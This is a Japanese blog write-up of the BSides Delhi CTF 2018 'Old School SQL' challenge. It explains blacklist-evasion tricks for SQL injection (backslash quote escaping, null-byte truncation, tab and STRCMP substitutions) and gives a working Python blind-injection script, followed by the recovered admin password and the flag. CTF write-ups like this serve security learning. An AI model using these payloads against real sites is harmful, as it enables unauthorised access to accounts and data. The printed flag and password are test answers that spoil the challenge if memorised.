こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

BSides Delhi CTF 2018 - Old School SQL

問題文

Being the admin is great

f:id:graneed:20181026225234p:plain

writeup

Blind SQL Injectionでpwを特定できそうだが、ブラックリストのワードが多数ある。

まず'(シングルクォート)から脱出しないといけないが、'ブラックリストに登録されているため使用できない。 これは、userの末尾に\(バックスラッシュ)を入れることで、'エスケープして回避した。

例えば、userhoge\をセットすると、where句のuserにはhoge\' and pw=がセットされる。そして、pwにセットした文字列は'の外に出た形になる。

しかし、このままでは、元のpwを閉じていた'が邪魔である。--および#ブラックリストに登録されているため使用できない。代わりにpwの最後に\x00のNull文字をセットすることでコメントアウトした。

まとめると、元の以下のSQLに、

select user from chal where user='' and pw=''

user=a\'pw=<任意のSQL断片>;Null文字をセットすることで、

select user from chal where user='a\' and pw='<任意のSQL断片>;Null文字'

とすることができる。

あとは、<任意のSQL断片>のエリアを使用して、adminのpwを特定するためのBlind SQL Injectionを実行すればよい。 まだまだブラックリストはあるが、下表のとおり回避した。

禁止文字 回避策
'(シングルクォート) (ダブルクォート)を代わりに使用
半角スペース タブ文字を代わりに使用
= STRCMPis not TRUEを代わりに使用
or ||を代わりに使用
admin "admi" "n"で文字列結合

Blind SQL Injectionのスクリプトは以下の通り。

import requests
import string

URL = 'http://35.200.215.237/'
LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~"

password = ''

while True:
    flag = False
    for e in LETTERS:
        r = requests.get(
            URL,
            params={
                "pw"  :'||(STRCMP("admi"\t"n",user)\tis\tnot\tTRUE\t&&\tSTRCMP("{}",LEFT(pw,{}))\tis\tnot\tTRUE);\x00'.format(password+e,len(password+e)),
                "user":"a\\"
                }
            )
        if "Welcome admin" in r.text:
            password += e
            print(password)
            flag = True
            break
    if flag: continue
    exit()

実行結果は以下の通り。

1
17
172
1729
17292
172921
1729211
17292115 ←パスワード

http://35.200.215.237/?pw=17292115にアクセスするとflagが表示された。
flag{sQ1_inj3c7i0n_i5_v3ry_3asy}